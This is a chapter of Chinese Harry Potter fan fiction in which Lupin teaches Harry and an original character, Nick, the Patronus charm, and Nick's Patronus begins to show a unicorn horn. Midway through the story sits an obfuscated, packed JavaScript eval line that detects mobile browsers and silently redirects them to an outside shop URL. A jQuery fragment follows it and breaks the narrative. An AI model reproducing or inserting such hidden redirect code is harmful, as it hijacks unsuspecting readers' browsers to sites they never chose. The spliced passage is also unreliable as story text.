卢平把书合上，放在桌角。
“好了，理论部分就到这里。”他走到房间中央，“接下来，我们来试试实际的施咒。”
尼克注意到，卢平说的是“试试”。这大概是给自己留余地，毕竟一边的波特早已上了好几节课。
“谁先来？”卢平问。
说实话，尼克的心里其实没什么底。
听和做往往是两码事，而且他其实拿不准自己是否真的对什么记忆有着纯粹的喜悦。可他也不想在波特面前显得太犹豫，与就下意识偏头，瞧了瞧边上的哈利·波特。
所幸，哈利先站了起来。他举起手，站到了那片空地上，深吸一口气，举起魔杖对准前方。
尼克靠在墙边看着。
哈利闭了一下眼睛，似乎在回想什么。尼克记得卢平说过，哈利已经能勉强召唤出一团白光，虽然不稳定，但已经算有进展。
他不知道自己今天会不会被哈利的表现比下去。好吧，他本来不该在意这种事。但脑子里的东西总是乱糟糟地跑，让他的心跳也慌起来。
哈利念出咒语：“呼神护卫。”
魔杖尖端亮了一下。
然后灭掉了。
哈利的眉头稍微皱了皱，又试了一次。这次，一缕银白色的光丝从杖尖飘了出来，但它像蛛丝般羸弱，在半空中旋转一下就又不见了。
哈利的眉头皱得更厉害了。他活动了下手腕，看向卢平。
“继续，哈利。”卢平安抚地笑了笑，“再把那些事情想一想。”
“我会的。”哈利重新调整着呼吸。
尼克在一旁抱臂看着：按照波特的水平，他理应不至于这么费劲才对。
但他今天看起来要比想象中吃力多了。
是因为自己在场吗？尼克不确定。但他魔杖上的白烟显然已经衬托出其主人的情绪不稳定了。
第三次尝试。哈利再次念咒。
这次，尼克看到一道白色光团从杖尖涌了出来，并在空气中很快聚成了一个模糊的球体。边缘虽然还是摇摇晃晃，但它没有立刻消散，反而维持了很长一段时间。
卢平在旁边点头：“不错。比上节课稳定多了。继续练习，你会越来越顺手的。”
哈利把魔杖放下来，他回头看了尼克一眼，尼克也瞧回去，两个人的视线在空中打了个旋儿，然后各自收了回去。
“尼古拉斯，轮到你了。”卢平示意他也站过来。
“好的，教授。”尼克走了过去。
他把魔杖从袍子内袋里抽出来，站在哈利刚才站过的那个位置。他知道卢平和哈利都在看着他，所以尽量、尽量——不要出丑。
他深吸了一口气，把魔杖举起来。
“呼神护卫。”
什么也没有发生。
魔杖尖端连一丝光都没亮。它安安静静地杵在尼克的手掌心里，像是任何一根平平无奇的棍子。
尼克咬咬牙，又试了一次，依旧什么都没有。
卢平在旁边开口：“别着急，你需要找到一个足够快乐的记忆。想想那些让你真正觉得温暖的东西。”
“嗯。”尼克点头。
还好，房间里没有响起马尔福那样的嘲笑声。
尼克的后脑勺没长眼睛，他并不知道哈利现在在干什么——是在目不转睛地看，还是正在心里嘲笑他，又或者二者都有？他这样想着，然后趁卢平说话的功夫回头瞥了一眼。
哈利·波特正目光发直地盯着卢平桌子上的一个装着液体的小瓶子发呆*。
他很快意识到了尼克的视线，于是赶紧回神，但一双绿油油的杏眼里写满了清澈的“发生什么事了”。
“尼古拉斯？”卢平呼唤道。
“是的，教授，”尼克赶紧把脑袋扭回来，“我会试试看的。”
尼克闭上眼，试着重新加强记忆那些他曾觉得满足的时刻——在麻瓜小学里，用几句话让达力·德思礼和皮尔·波奇斯反目成仇，看着他们扭打在一起，而他站在橡树下吃姜饼人——是的，是的——那种掌控的快感，像操纵棋局一样左右别人的行动。
他把那个记忆抓在手里，举起了魔杖。
“呼神护卫。”
魔杖尖端发出了一声尖锐的啸叫。
尼克感觉杖身猛地一震，他手指一松，差点没握住它。
那股刺耳的声音在房间里回荡了许久许久，他下意识后退了半步，然后望向卢平。
后者的脸上没有太多惊讶，恰恰相反，他平和地说：“看起来，你的有些记忆可能不够纯粹。守护神咒需要的是正面的情绪，或许有些人会在一些事情上获得满足*，但你的魔杖可能并不期望你变成那样。”
尼克点点头。他快速地挖掘大脑里的每一片角落，并把刚才那个记忆先从脑子里请出去。
纯粹又强大的快乐？
好吧，试试看吧——他换了一个方向，脑子里浮现起多蕾莎姥姥在厨房里的模样——她系着围裙，面粉沾在袖子上面，把刚烤好的点心递给他。
——然后是杰克姥爷在客厅里看麻瓜新闻，在花园里搭架子，和自己一起拆麻瓜机械的样子。
然后他又想到丹妮尔。从小时候乖巧安静的小姑娘，到现在的开朗有趣的半大女孩。也是尼克从记事后就在身边的、血缘最近、相处最久的亲人——是啊，与自己虽有不同，但仍然是自己最可爱的妹妹。自己也没有让她在蛇怪的眼皮底下受更多的伤——
他把这些记忆叠在一起，也是第三次举起魔杖。
“呼神护卫。”
这次，杖尖没有尖啸。
他看到一道银白色的光流涌出，像水流漫过泉眼，在空气中聚成多边的发光团块。
这团光芒没有固定的形状。它的边缘始终在闪烁，但越来越亮。
尼克甚至可以感受到那股光流似乎正从他的胸膛里涌出来，顺着胳膊流进魔杖，再化成这种银白色的、温暖的东西。
原来这就是——纯粹的快乐？
他甚至不知道这些让他如此安心……
卢平的声音从旁边传来：“很好。这次完全不同了。”
-
接下来的几节课和第一次课没有太大区别。
周三和周五的傍晚，尼克会在七点准时到达卢平的办公室。
哈利也会在那个时间出现，可能会比尼克稍晚一小会儿。
他们之间的对话始终保持在最低限度的范围内。
“来了。”尼克觉得这算是个招呼。
“嗯。”哈利不咸不淡地回着，没有一声不吭。
轮到尼克练习的时候，他反复地尝试着这类记忆。
除去姥姥姥爷和丹妮尔，甚至，他还想到了科林被粪蛋砸中时那副生无可恋的表情，想到了塞西莉亚在黑湖边借着月光看那根书签的样子——他几乎要笑出来了——
于是，在这一次的练习里，那团光变得更亮了，边缘开始有了更清晰的轮廓。
“那是什么？”哈利突然开口了。
尼克也睁大了眼睛。
在他的面前，在魔杖的末端——一道细长的、微微弯曲的影子从光团的正中央伸出来，像一根正在缓慢生长的枝丫。
尼克屏住了呼吸。
那个轮廓越来越清晰。那是一个尖细的顶端，然后是一段逐渐变粗的柱体。
但没过多久，那团光芒开始变淡。
尼克感到那股暖流散去了，像是泉水正在干涸。他尽力多维持了几秒钟，但那团光最终还是散去，只剩下角形的轮廓在空气中残留了一瞬，消失了。
尼克放下魔杖，呼吸比刚才快了些。
他看着魔杖尖端——那里什么也没有了。
但刚才那几秒钟里发生过的事情仍然留在他的视野里。
“那是什么？”尼克发问。
卢平沉默了片刻，然后开口了：“我猜——是你守护神的一部分。太了不起了，尼克——不，尼古拉斯。如果你介意的话。”
尼克摇摇头：“完全不会，先生。”
“好孩子。”卢平的态度更温和了，“我觉得，你们应该都看到了刚刚的东西。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738280|205993||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“一根角。”哈利说，“这是否意味着德米特里要成功了？”
尼克看向哈利，他倒是完全没想到波特会是这副与有荣焉的模样，好像他对自己的负面情绪并不在课堂上成立似的（虽然他们确实没怎么在一个教室上过课）。
“是的，是的，我们都希望是，”卢平笑起来，“看起来，你的成绩单一点儿也没有出错。你非常有天分，尼克。”
“谢谢您，先生。”尼克忽然觉得一阵爽快，并用自己最熟悉的那套谦逊模样微笑着，“这都归功于您。”
他感觉到哈利的目光又挪到了自己身上，有些刺刺的。
又怎么了？
卢平点点头，没有和他谦让：“它让我联想到了一种非常动人的动物。你召唤出的第一个完整部位是它的角。”
“洗耳恭听，先生。”
“如果我判断得没错——你们都知道，独角兽是一种对人类非常挑剔的生物，它的守护神同样罕见。这非常好了，德米特里。或许你会有一个让人羡慕的好同伴。”
尼克眨眨眼，略微有些意外。
又或者失望。
他以为，自己的守护神会是某些更……务实的东西。
但从卢平的语气听来，他是真的觉得这东西稀有而且值得认真对待。
“实体还没出来。”尼克说。
“那是最终目标，对于你们俩来说可能都还有点儿遥远，”卢平说，“但它已经在成形，我敢打赌，这只是时间问题。”
尼克的后椎发紧。他看着自己手里的魔杖，又看看卢平，然后把魔杖收回了袍子内袋。
哈利坐在旁边，一直保持着安静，看起来也是一半震惊一半期待的模样。
卢平又交代了几句关于练习频率和注意事项的话，然后宣布今天的课程结束。
尼克背起书包走出办公室，哈利也跟在他后面出来。
走廊里很安静。两人一前一后走了几步，谁也没有先开口。
走到楼梯口时，哈利向左转，尼克向右转，方向不同。
尼克在将要走下台阶时，听到哈利的声音从后面传来：“你今天做的不错。”
尼克停了一下。
这是什么意思？突然态度缓和了？他有些狐疑地在哈利看不到的角度眯了眯眼，但他没挖掘出什么挑衅的意思。
于是他回头，露出一个半真半假的、灿烂的笑容，对着波特道了一声“谢谢”，然后继续往下走。
-
回到公共休息室时，科林正坐在扶手椅里端详他的羽毛笔。
他看到尼克进来，立刻抬起头：“怎么样？卢平教授的课？”
“还行。”尼克说。他走到科林对面的椅子边坐下来，把书包放在脚边。
科林把削好的羽毛笔放在桌上：“感觉你这个评价已经很高了！”
尼克想了想，然后说：“或许吧。卢平说我可能……呃，会召唤出独角兽形态的守护神。”
科林的眼睛瞪得跟猫头鹰似的：“独角兽！尼克！独角兽——那可是魔法界里最纯净、最稀有的动物之一！你——！独角兽！我的天哪！”
“只是一根角。”尼克纠正道，“而且我还不确定是不是真的。卢平是会用‘歌颂’来鼓舞学生的老师。”
“已经够了！”科林说，“大部分人连光都召唤不出来呢！”
尼克点点头。
他坐了会儿，就看着塞西莉亚打着哈欠，也挤进了石门。
“没休息好吗？”尼克主动问。
塞西莉亚有点意外地看着尼克，然后颔首：“是啊。有太多人不好好学习了。”
尼克的嘴角勾了勾：“抱歉……晚上的学习小组我几乎没时间参加了。”
塞西莉亚显得很无所谓：“没关系，你认真去学吧。这样，就对得起我每天对着你身边的小巨怪对牛弹琴了。”
科林显得非常委屈：“塞西！我没有蠢到那种地步吧？”
塞西莉亚翻了个白眼：“别对号入座了，科林。我是说你们宿舍里另外的两个家伙！”